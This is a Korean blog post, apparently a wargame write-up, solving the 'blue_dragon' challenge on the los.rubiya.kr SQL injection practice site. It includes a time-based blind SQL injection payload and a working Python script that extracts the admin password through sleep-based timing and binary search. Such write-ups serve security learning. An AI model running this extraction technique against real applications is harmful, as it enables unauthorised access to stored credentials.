시작하겠습니다.
2번 필터링을 하네요. \ 랑 ' 의 사용을 막았습니다.
한 번 id에 ' 이랑 \을 줘보겠습니다.
이 말은 먼저 필터링을 할 때 \ 이랑 ' 은 안 한다는 이야기입니다. 그리고 쿼리문을 실행한 뒤에 ' 이나 \이 들어갔는지
확인을 하고 필터링을 하는 거죠.
그럼 저는 Time Based SQL Injection을 이용하겠습니다!
쿼리문은 실행이 된다는 이야기잖아요? 그러니깐 만약 참이면 1초 뒤에 나오게 해서 참인지 아닌지 분별하겠습니다.
공격 쿼리문은 ' and id='admin' and if(ascii(substr(pw,{},1))>{},sleep(1),0)# 이렇습니다.
pw 한 자리을 꺼내와서 만약 참이면 1초 뒤에 나오고 아니면 0으로 거짓으로 판별하게 했습니다.
저는 보기 전에 time 함수로 시간을 저장하고 보낸 후의 시간을 빼서
0.5초 이상 나면 참 안 나면 거짓으로 했습니다.
import requests
import urllib.parse
import time #시간값을 알기 위함(Time based 공격용)
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=fanr8lnfn8nkj50q6cu61sh7gk"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("엔터 누르세요! ")
index_value = "" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1 #1번째 자리부터 찾기 용
start = 32 #아스키코드 32부터
end = 127 #127까지 비교
value = ""
while True :
mid = int((start+end)/2)
data = {
"id": "admin",
"pw": blind_query.format(s,0)
} #먼저 0인지 식별
start_time = time.time() #보낼때 시간을 잰다
response = requests.get(url, params=data, headers=headers)
end_time = time.time() #응답왔을 때의 시간을 잰다
if ((end_time-start_time) < 0.5) : #0보다 큰게 거짓이면 NULL값이므로 종료한다 참이면 시간 뺀 값이 0.5초보단 크다
break
else :
data = {
"id": "admin",
"pw": blind_query.format(s,mid)
}
start_time = time.time() #보낼때 시간을 잰다
response = requests.get(url, params=data, headers=headers)
end_time = time.time() #응답왔을 때의 시간을 잰다
if ((end_time-start_time) < 0.5) :
end = mid #거짓이면 끝 값을 mid로 바꾼다
else :
start = mid #참이면 시작 값을 mid로 바꾼다
if start+1 >= end :
value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
s+=1 #다음 글자
start = 32 #초기화
end = 127 #초기화
print(value)
return value
blind_query = "' OR id='admin' and if(ascii(substr(pw,{},1))>{},sleep(1),0)#"
blind_sqli(blind_query) #blind_query 시작
꽤나 오래 걸리겠네요 참이면 1초나 기다리니깐요.
그나마 이진탐색을 이용해서 빠르긴 할 겁니다.
pw=d948b8a0
이번에 Time based을 처음 해보는데 꽤나 흥미로웠습니다!
감사합니다.
'워게임' 카테고리의 다른 글
los rubiya - 29(phantom) 풀이 (0) | 2023.06.24 |
---|---|
los rubiya - frankenstein(28번 문제) (0) | 2023.06.08 |
los rubiya - 26(red_dragon) 풀이 (0) | 2023.05.26 |
los rubiya - 25(green_dragon) 풀이 (0) | 2023.05.25 |
los rubiya - 24(evil_wizard) 풀이 (1) | 2023.05.24 |